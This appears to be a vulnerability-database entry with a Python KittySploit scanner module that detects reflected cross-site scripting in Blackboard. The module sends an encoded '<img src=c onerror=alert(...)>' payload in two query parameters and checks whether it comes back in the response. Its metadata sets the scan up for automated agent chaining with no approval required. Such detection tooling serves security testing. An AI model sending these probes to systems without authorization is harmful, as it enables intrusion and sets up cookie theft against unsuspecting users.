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Blackboard - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Cross-site scripting in Blackboard allows execution of arbitrary script in the browser.

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Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Blackboard contains a cross-site scripting vulnerability."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Blackboard - Cross-Site Scripting Detection',
        'description': 'Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'vulnerability', 'blackboard', 'parentlink', 'xss', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': ['https://help.blackboard.com/Community_Engagement/Administrator/Release_Notes'],
    }

    def run(self):
        for path in ('/main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E', '/main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
            body_any = ('<img src=c onerror=alert(8675309)>',)
            header_any = ('text/html',)
            if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
                self.set_info(
                    severity='high',
                    reason="Blackboard - Cross-Site Scripting detected",
                    path=path,
                )
                return True
        return False

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